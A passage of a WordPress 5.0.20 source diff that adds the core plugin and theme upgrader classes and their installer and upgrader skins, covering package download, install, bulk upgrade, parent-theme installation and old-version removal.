+	 * @param string $plugin The basename path to the main plugin file.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading a plugin package. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
+	 */
+	public function upgrade( $plugin, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_plugins' );
+		if ( !isset( $current->response[ $plugin ] ) ) {
+			$this->skin->before();
+			$this->skin->set_result(false);
+			$this->skin->error('up_to_date');
+			$this->skin->after();
+			return false;
+		}
+
+		// Get the URL to the zip file
+		$r = $current->response[ $plugin ];
+
+		add_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);
+		//'source_selection' => array($this, 'source_selection'), //there's a trac ticket to move up the directory for zip's which are made a bit differently, useful for non-.org plugins.
+		if ( $parsed_args['clear_update_cache'] ) {
+			// Clear cache so wp_update_plugins() knows about the new plugin.
+			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
+		}
+
+		$this->run( array(
+			'package' => $r->package,
+			'destination' => WP_PLUGIN_DIR,
+			'clear_destination' => true,
+			'clear_working' => true,
+			'hook_extra' => array(
+				'plugin' => $plugin,
+				'type' => 'plugin',
+				'action' => 'update',
+			),
+		) );
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
+		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
+		remove_filter('upgrader_pre_install', array($this, 'deactivate_plugin_before_upgrade'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Force refresh of plugin update information
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Bulk upgrade several plugins at once.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
+	 *
+	 * @param array $plugins Array of the basename paths of the plugins' main files.
+	 * @param array $args {
+	 *     Optional. Other arguments for upgrading several plugins at once. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
+	 */
+	public function bulk_upgrade( $plugins, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->bulk = true;
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_plugins' );
+
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4);
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array(WP_CONTENT_DIR, WP_PLUGIN_DIR) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$this->skin->bulk_header();
+
+		/*
+		 * Only start maintenance mode if:
+		 * - running Multisite and there are one or more plugins specified, OR
+		 * - a plugin with an update available is currently active.
+		 * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
+		 */
+		$maintenance = ( is_multisite() && ! empty( $plugins ) );
+		foreach ( $plugins as $plugin )
+			$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin] ) );
+		if ( $maintenance )
+			$this->maintenance_mode(true);
+
+		$results = array();
+
+		$this->update_count = count($plugins);
+		$this->update_current = 0;
+		foreach ( $plugins as $plugin ) {
+			$this->update_current++;
+			$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true);
+
+			if ( !isset( $current->response[ $plugin ] ) ) {
+				$this->skin->set_result('up_to_date');
+				$this->skin->before();
+				$this->skin->feedback('up_to_date');
+				$this->skin->after();
+				$results[$plugin] = true;
+				continue;
+			}
+
+			// Get the URL to the zip file.
+			$r = $current->response[ $plugin ];
+
+			$this->skin->plugin_active = is_plugin_active($plugin);
+
+			$result = $this->run( array(
+				'package' => $r->package,
+				'destination' => WP_PLUGIN_DIR,
+				'clear_destination' => true,
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'plugin' => $plugin
+				)
+			) );
+
+			$results[$plugin] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times
+			if ( false === $result )
+				break;
+		} //end foreach $plugins
+
+		$this->maintenance_mode(false);
+
+		// Force refresh of plugin update information.
+		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array(
+			'action' => 'update',
+			'type' => 'plugin',
+			'bulk' => true,
+			'plugins' => $plugins,
+		) );
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'));
+
+		return $results;
+	}
+
+	/**
+	 * Check a source package to be sure it contains a plugin.
+	 *
+	 * This function is added to the {@see 'upgrader_source_selection'} filter by
+	 * Plugin_Upgrader::install().
+	 *
+	 * @since 3.3.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param string $source The path to the downloaded package source.
+	 * @return string|WP_Error The source as passed, or a WP_Error object
+	 *                         if no plugins were found.
+	 */
+	public function check_package($source) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($source) )
+			return $source;
+
+		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source);
+		if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, let's not prevent installation.
+			return $source;
+
+		// Check the folder contains at least 1 valid plugin.
+		$plugins_found = false;
+		$files = glob( $working_directory . '*.php' );
+		if ( $files ) {
+			foreach ( $files as $file ) {
+				$info = get_plugin_data( $file, false, false );
+				if ( ! empty( $info['Name'] ) ) {
+					$plugins_found = true;
+					break;
+				}
+			}
+		}
+
+		if ( ! $plugins_found )
+			return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
+
+		return $source;
+	}
+
+	/**
+	 * Retrieve the path to the file that contains the plugin info.
+	 *
+	 * This isn't used internally in the class, but is called by the skins.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @return string|false The full path to the main plugin file, or false.
+	 */
+	public function plugin_info() {
+		if ( ! is_array($this->result) )
+			return false;
+		if ( empty($this->result['destination_name']) )
+			return false;
+
+		$plugin = get_plugins('/' . $this->result['destination_name']); //Ensure to pass with leading slash
+		if ( empty($plugin) )
+			return false;
+
+		$pluginfiles = array_keys($plugin); //Assume the requested plugin is the first in the list
+
+		return $this->result['destination_name'] . '/' . $pluginfiles[0];
+	}
+
+	/**
+	 * Deactivates a plugin before it is upgraded.
+	 *
+	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
+	 *
+	 * @since 2.8.0
+	 * @since 4.1.0 Added a return value.
+	 *
+	 * @param bool|WP_Error  $return Upgrade offer return.
+	 * @param array          $plugin Plugin package arguments.
+	 * @return bool|WP_Error The passed in $return param or WP_Error.
+	 */
+	public function deactivate_plugin_before_upgrade($return, $plugin) {
+
+		if ( is_wp_error($return) ) //Bypass.
+			return $return;
+
+		// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it
+		if ( wp_doing_cron() )
+			return $return;
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		if ( is_plugin_active($plugin) ) {
+			//Deactivate the plugin silently, Prevent deactivation hooks from running.
+			deactivate_plugins($plugin, true);
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Delete the old plugin during an upgrade.
+	 *
+	 * Hooked to the {@see 'upgrader_clear_destination'} filter by
+	 * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade().
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+     *
+	 * @param bool|WP_Error $removed
+	 * @param string        $local_destination
+	 * @param string        $remote_destination
+	 * @param array         $plugin
+	 * @return WP_Error|bool
+	 */
+	public function delete_old_plugin($removed, $local_destination, $remote_destination, $plugin) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($removed) )
+			return $removed; //Pass errors through.
+
+		$plugin = isset($plugin['plugin']) ? $plugin['plugin'] : '';
+		if ( empty($plugin) )
+			return new WP_Error('bad_request', $this->strings['bad_request']);
+
+		$plugins_dir = $wp_filesystem->wp_plugins_dir();
+		$this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin) );
+
+		if ( ! $wp_filesystem->exists($this_plugin_dir) ) //If it's already vanished.
+			return $removed;
+
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos($plugin, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory separator AND that it's not the root plugin folder
+			$deleted = $wp_filesystem->delete($this_plugin_dir, true);
+		else
+			$deleted = $wp_filesystem->delete($plugins_dir . $plugin);
+
+		if ( ! $deleted )
+			return new WP_Error('remove_old_failed', $this->strings['remove_old_failed']);
+
+		return true;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-theme-installer-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-theme-installer-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-theme-installer-skin.php	(revision 56912)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * Upgrader API: Theme_Installer_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Theme Installer Skin for the WordPress Theme Installer.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Theme_Installer_Skin extends WP_Upgrader_Skin {
+	public $api;
+	public $type;
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	/**
+	 */
+	public function before() {
+		if ( !empty($this->api) )
+			$this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version);
+	}
+
+	/**
+	 */
+	public function after() {
+		if ( empty($this->upgrader->result['destination_name']) )
+			return;
+
+		$theme_info = $this->upgrader->theme_info();
+		if ( empty( $theme_info ) )
+			return;
+
+		$name       = $theme_info->display('Name');
+		$stylesheet = $this->upgrader->result['destination_name'];
+		$template   = $theme_info->get_template();
+
+		$activate_link = add_query_arg( array(
+			'action'     => 'activate',
+			'template'   => urlencode( $template ),
+			'stylesheet' => urlencode( $stylesheet ),
+		), admin_url('themes.php') );
+		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );
+
+		$install_actions = array();
+
+		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+			$customize_url = add_query_arg(
+				array(
+					'theme' => urlencode( $stylesheet ),
+					'return' => urlencode( admin_url( 'web' === $this->type ? 'theme-install.php' : 'themes.php' ) ),
+				),
+				admin_url( 'customize.php' )
+			);
+			$install_actions['preview'] = '<a href="' . esc_url( $customize_url ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
+		}
+		$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';
+
+		if ( is_network_admin() && current_user_can( 'manage_network_themes' ) )
+			$install_actions['network_enable'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ) . '" target="_parent">' . __( 'Network Enable' ) . '</a>';
+
+		if ( $this->type == 'web' )
+			$install_actions['themes_page'] = '<a href="' . self_admin_url( 'theme-install.php' ) . '" target="_parent">' . __( 'Return to Theme Installer' ) . '</a>';
+		elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) )
+			$install_actions['themes_page'] = '<a href="' . self_admin_url( 'themes.php' ) . '" target="_parent">' . __( 'Return to Themes page' ) . '</a>';
+
+		if ( ! $this->result || is_wp_error($this->result) || is_network_admin() || ! current_user_can( 'switch_themes' ) )
+			unset( $install_actions['activate'], $install_actions['preview'] );
+
+		/**
+		 * Filters the list of action links available following a single theme installation.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array    $install_actions Array of theme action links.
+		 * @param object   $api             Object containing WordPress.org API theme data.
+		 * @param string   $stylesheet      Theme directory name.
+		 * @param WP_Theme $theme_info      Theme object.
+		 */
+		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
+		if ( ! empty($install_actions) )
+			$this->feedback(implode(' | ', (array)$install_actions));
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,89 @@
+<?php
+/**
+ * Upgrader API: Theme_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Theme Upgrader Skin for WordPress Theme Upgrades.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
+ *
+ * @see WP_Upgrader_Skin
+ */
+class Theme_Upgrader_Skin extends WP_Upgrader_Skin {
+	public $theme = '';
+
+	/**
+	 *
+	 * @param array $args
+	 */
+	public function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Update Theme') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->theme = $args['theme'];
+
+		parent::__construct($args);
+	}
+
+	/**
+	 */
+	public function after() {
+		$this->decrement_update_count( 'theme' );
+
+		$update_actions = array();
+		if ( ! empty( $this->upgrader->result['destination_name'] ) && $theme_info = $this->upgrader->theme_info() ) {
+			$name       = $theme_info->display('Name');
+			$stylesheet = $this->upgrader->result['destination_name'];
+			$template   = $theme_info->get_template();
+
+			$activate_link = add_query_arg( array(
+				'action'     => 'activate',
+				'template'   => urlencode( $template ),
+				'stylesheet' => urlencode( $stylesheet ),
+			), admin_url('themes.php') );
+			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );
+
+			$customize_url = add_query_arg(
+				array(
+					'theme' => urlencode( $stylesheet ),
+					'return' => urlencode( admin_url( 'themes.php' ) ),
+				),
+				admin_url( 'customize.php' )
+			);
+			if ( get_stylesheet() == $stylesheet ) {
+				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+					$update_actions['preview']  = '<a href="' . esc_url( $customize_url ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Customize' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Customize &#8220;%s&#8221;' ), $name ) . '</span></a>';
+				}
+			} elseif ( current_user_can( 'switch_themes' ) ) {
+				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+					$update_actions['preview'] = '<a href="' . esc_url( $customize_url ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
+				}
+				$update_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';
+			}
+
+			if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() )
+				unset( $update_actions['preview'], $update_actions['activate'] );
+		}
+
+		$update_actions['themes_page'] = '<a href="' . self_admin_url( 'themes.php' ) . '" target="_parent">' . __( 'Return to Themes page' ) . '</a>';
+
+		/**
+		 * Filters the list of action links available following a single theme update.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array  $update_actions Array of theme action links.
+		 * @param string $theme          Theme directory name.
+		 */
+		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );
+
+		if ( ! empty($update_actions) )
+			$this->feedback(implode(' | ', (array)$update_actions));
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-theme-upgrader.php	(revision 56912)
@@ -0,0 +1,593 @@
+<?php
+/**
+ * Upgrade API: Theme_Upgrader class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for upgrading/installing themes.
+ *
+ * It is designed to upgrade/install themes from a local zip, remote zip URL,
+ * or uploaded zip file.
+ *
+ * @since 2.8.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ *
+ * @see WP_Upgrader
+ */
+class Theme_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Result of the theme upgrade offer.
+	 *
+	 * @since 2.8.0
+	 * @var array|WP_Error $result
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether multiple themes are being upgraded/installed in bulk.
+	 *
+	 * @since 2.9.0
+	 * @var bool $bulk
+	 */
+	public $bulk = false;
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('The theme is at the latest version.');
+		$this->strings['no_package'] = __('Update package not available.');
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['remove_old'] = __('Removing the old version of the theme&#8230;');
+		$this->strings['remove_old_failed'] = __('Could not remove the old theme.');
+		$this->strings['process_failed'] = __('Theme update failed.');
+		$this->strings['process_success'] = __('Theme updated successfully.');
+	}
+
+	/**
+	 * Initialize the installation strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function install_strings() {
+		$this->strings['no_package'] = __('Installation package not available.');
+		/* translators: %s: package URL */
+		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code">%s</span>' );
+		$this->strings['unpack_package'] = __('Unpacking the package&#8230;');
+		$this->strings['installing_package'] = __('Installing the theme&#8230;');
+		$this->strings['no_files'] = __('The theme contains no files.');
+		$this->strings['process_failed'] = __('Theme installation failed.');
+		$this->strings['process_success'] = __('Theme installed successfully.');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['process_success_specific'] = __('Successfully installed the theme <strong>%1$s %2$s</strong>.');
+		$this->strings['parent_theme_search'] = __('This theme requires a parent theme. Checking if it is installed&#8230;');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_prepare_install'] = __('Preparing to install <strong>%1$s %2$s</strong>&#8230;');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_currently_installed'] = __('The parent theme, <strong>%1$s %2$s</strong>, is currently installed.');
+		/* translators: 1: theme name, 2: version */
+		$this->strings['parent_theme_install_success'] = __('Successfully installed the parent theme, <strong>%1$s %2$s</strong>.');
+		/* translators: %s: theme name */
+		$this->strings['parent_theme_not_found'] = sprintf( __( '<strong>The parent theme could not be found.</strong> You will need to install the parent theme, %s, before you can use this child theme.' ), '<strong>%s</strong>' );
+	}
+
+	/**
+	 * Check if a child theme is being installed and we need to install its parent.
+	 *
+	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::install().
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param bool  $install_result
+	 * @param array $hook_extra
+	 * @param array $child_result
+	 * @return type
+	 */
+	public function check_parent_theme_filter( $install_result, $hook_extra, $child_result ) {
+		// Check to see if we need to install a parent theme
+		$theme_info = $this->theme_info();
+
+		if ( ! $theme_info->parent() )
+			return $install_result;
+
+		$this->skin->feedback( 'parent_theme_search' );
+
+		if ( ! $theme_info->parent()->errors() ) {
+			$this->skin->feedback( 'parent_theme_currently_installed', $theme_info->parent()->display('Name'), $theme_info->parent()->display('Version') );
+			// We already have the theme, fall through.
+			return $install_result;
+		}
+
+		// We don't have the parent theme, let's install it.
+		$api = themes_api('theme_information', array('slug' => $theme_info->get('Template'), 'fields' => array('sections' => false, 'tags' => false) ) ); //Save on a bit of bandwidth.
+
+		if ( ! $api || is_wp_error($api) ) {
+			$this->skin->feedback( 'parent_theme_not_found', $theme_info->get('Template') );
+			// Don't show activate or preview actions after installation
+			add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') );
+			return $install_result;
+		}
+
+		// Backup required data we're going to override:
+		$child_api = $this->skin->api;
+		$child_success_message = $this->strings['process_success'];
+
+		// Override them
+		$this->skin->api = $api;
+		$this->strings['process_success_specific'] = $this->strings['parent_theme_install_success'];//, $api->name, $api->version);
+
+		$this->skin->feedback('parent_theme_prepare_install', $api->name, $api->version);
+
+		add_filter('install_theme_complete_actions', '__return_false', 999); // Don't show any actions after installing the theme.
+
+		// Install the parent theme
+		$parent_result = $this->run( array(
+			'package' => $api->download_link,
+			'destination' => get_theme_root(),
+			'clear_destination' => false, //Do not overwrite files.
+			'clear_working' => true
+		) );
+
+		if ( is_wp_error($parent_result) )
+			add_filter('install_theme_complete_actions', array($this, 'hide_activate_preview_actions') );
+
+		// Start cleaning up after the parents installation
+		remove_filter('install_theme_complete_actions', '__return_false', 999);
+
+		// Reset child's result and data
+		$this->result = $child_result;
+		$this->skin->api = $child_api;
+		$this->strings['process_success'] = $child_success_message;
+
+		return $install_result;
+	}
+
+	/**
+	 * Don't display the activate and preview actions to the user.
+	 *
+	 * Hooked to the {@see 'install_theme_complete_actions'} filter by
+	 * Theme_Upgrader::check_parent_theme_filter() when installing
+	 * a child theme and installing the parent theme fails.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array $actions Preview actions.
+	 * @return array
+	 */
+	public function hide_activate_preview_actions( $actions ) {
+		unset($actions['activate'], $actions['preview']);
+		return $actions;
+	}
+
+	/**
+	 * Install a theme package.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param string $package The full local path or URI of the package.
+	 * @param array  $args {
+	 *     Optional. Other arguments for installing a theme package. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
+	 *                                    Default true.
+	 * }
+	 *
+	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise.
+	 */
+	public function install( $package, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->install_strings();
+
+		add_filter('upgrader_source_selection', array($this, 'check_package') );
+		add_filter('upgrader_post_install', array($this, 'check_parent_theme_filter'), 10, 3);
+		if ( $parsed_args['clear_update_cache'] ) {
+			// Clear cache so wp_update_themes() knows about the new theme.
+			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
+		}
+
+		$this->run( array(
+			'package' => $package,
+			'destination' => get_theme_root(),
+			'clear_destination' => false, //Do not overwrite files.
+			'clear_working' => true,
+			'hook_extra' => array(
+				'type' => 'theme',
+				'action' => 'install',
+			),
+		) );
+
+		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
+		remove_filter('upgrader_source_selection', array($this, 'check_package') );
+		remove_filter('upgrader_post_install', array($this, 'check_parent_theme_filter'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Refresh the Theme Update information
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade a theme.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param string $theme The theme slug.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading a theme. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
+	 */
+	public function upgrade( $theme, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		// Is an update available?
+		$current = get_site_transient( 'update_themes' );
+		if ( !isset( $current->response[ $theme ] ) ) {
+			$this->skin->before();
+			$this->skin->set_result(false);
+			$this->skin->error( 'up_to_date' );
+			$this->skin->after();
+			return false;
+		}
+
+		$r = $current->response[ $theme ];
+
+		add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2);
+		add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4);
+		if ( $parsed_args['clear_update_cache'] ) {
+			// Clear cache so wp_update_themes() knows about the new theme.
+			add_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9, 0 );
+		}
+
+		$this->run( array(
+			'package' => $r['package'],
+			'destination' => get_theme_root( $theme ),
+			'clear_destination' => true,
+			'clear_working' => true,
+			'hook_extra' => array(
+				'theme' => $theme,
+				'type' => 'theme',
+				'action' => 'update',
+			),
+		) );
+
+		remove_action( 'upgrader_process_complete', 'wp_clean_themes_cache', 9 );
+		remove_filter('upgrader_pre_install', array($this, 'current_before'));
+		remove_filter('upgrader_post_install', array($this, 'current_after'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade several themes at once.
+	 *
+	 * @since 3.0.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param array $themes The theme slugs.
+	 * @param array $args {
+	 *     Optional. Other arguments for upgrading several themes at once. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return array[]|false An array of results, or false if unable to connect to the filesystem.
+	 */
+	public function bulk_upgrade( $themes, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->bulk = true;
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_themes' );
+
+		add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2);
+		add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4);
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array(WP_CONTENT_DIR) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$this->skin->bulk_header();
+
+		// Only start maintenance mode if:
+		// - running Multisite and there are one or more themes specified, OR
+		// - a theme with an update available is currently in use.
+		// @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
+		$maintenance = ( is_multisite() && ! empty( $themes ) );
+		foreach ( $themes as $theme )
+			$maintenance = $maintenance || $theme == get_stylesheet() || $theme == get_template();
+		if ( $maintenance )
+			$this->maintenance_mode(true);
+
+		$results = array();
+
+		$this->update_count = count($themes);
+		$this->update_current = 0;
+		foreach ( $themes as $theme ) {
+			$this->update_current++;
+
+			$this->skin->theme_info = $this->theme_info($theme);
+
+			if ( !isset( $current->response[ $theme ] ) ) {
+				$this->skin->set_result(true);
+				$this->skin->before();
+				$this->skin->feedback( 'up_to_date' );
+				$this->skin->after();
+				$results[$theme] = true;
+				continue;
+			}
+
+			// Get the URL to the zip file
+			$r = $current->response[ $theme ];
+
+			$result = $this->run( array(
+				'package' => $r['package'],
+				'destination' => get_theme_root( $theme ),
+				'clear_destination' => true,
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'theme' => $theme
+				),
+			) );
+
+			$results[$theme] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times
+			if ( false === $result )
+				break;
+		} //end foreach $plugins
+
+		$this->maintenance_mode(false);
+
+		// Refresh the Theme Update information
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array(
+			'action' => 'update',
+			'type' => 'theme',
+			'bulk' => true,
+			'themes' => $themes,
+		) );
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
